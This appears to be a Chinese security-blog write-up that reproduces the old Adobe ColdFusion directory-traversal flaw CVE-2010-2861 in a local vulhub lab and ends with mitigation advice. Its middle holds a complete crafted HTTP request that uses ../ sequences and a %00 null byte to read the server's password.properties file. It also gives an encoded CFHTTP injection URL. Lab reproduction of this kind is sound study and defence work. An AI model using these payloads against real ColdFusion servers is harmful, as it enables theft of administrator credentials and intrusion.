freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

点我创作

试试在FreeBuf发布您的第一篇文章 让安全圈留下您的足迹
我知道了

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

Adobe ColdFusion 文件读取漏洞 CVE-2010-2861
GuiltyFet 2021-10-27 10:25:29 136700

漏洞介绍

Adobe ColdFusion是美国Adobe公司的一款动态Web服务器产品,其运行的CFML(ColdFusion Markup Language)是针对Web应用的一种程序设计语言。

Adobe ColdFusion 8、9版本中存在一处目录穿越漏洞,可导致未授权的用户读取服务器任意文件。

漏洞复现

环境使用的kali +vulhub

cd vulhub/coldfusion/CVE-2010-2861
docker-compose up -d

图片.png

http://172.17.0.1:8500/CFIDE/administrator/enter.cfm
you-ip初始化页面图片.png

输入admin后关闭了虚拟机:kali磁盘空间不足图片.png没注意到D盘空间满了,删了不需要的,继续运行
图片.png

输入admin
图片.png

抓取到的数据包

图片.png

抓到的数据包修改

GET /CFIDE/administrator/enter.cfm?locale=../../../../../../../lib/password.properties%00en HTTP/1.1
Host: 172.17.0.1:8500
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Content-Length: 0

图片.png

成功

其他问题访问一个不存在的页面,注意编码问题,否则不成功的。

http://172.17.0.1:8500/%3CCFHTTP%20METHOD%3DGet%20URL%3D%23URL.u%23%20PATH%3D%23URL.p%23%20FILE%3D%23URL.f%23%3E.cfml

图片.png

修复建议

配置文件:在配置文件中限制访问的文件目录,比如 PHP 中 php.ini 配置 open_basedir

特殊字符过滤:检查用户输入,过滤或转义含有“../”、“..\”、“%00”,“..”,“./”,“#”等跳转目录或字符终止符、截断字符的输入

合法性判断:严格过滤用户输入字符的合法性,比如文件类型、文件地址、文件内容等

白名单:白名单限定访问文件的路径、名称及后缀名

# web安全 # 漏洞分析 # 网络安全技术
本文为 GuiltyFet 独立观点,未经授权禁止转载。
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
GuiltyFet LV.4
csdn博客地址GuiltyFet https://blog.csdn.net/weixin_51387754?type=blog 阿里云博客专家
  • 8 文章数
  • 0 关注者
注册ChatGPT详细指南(简单使用)
2022-12-07
CVE-2022-22947 Spring Cloud Gateway 远程代码执行漏洞复现
2022-03-03
Weblogic weak_password
2022-02-23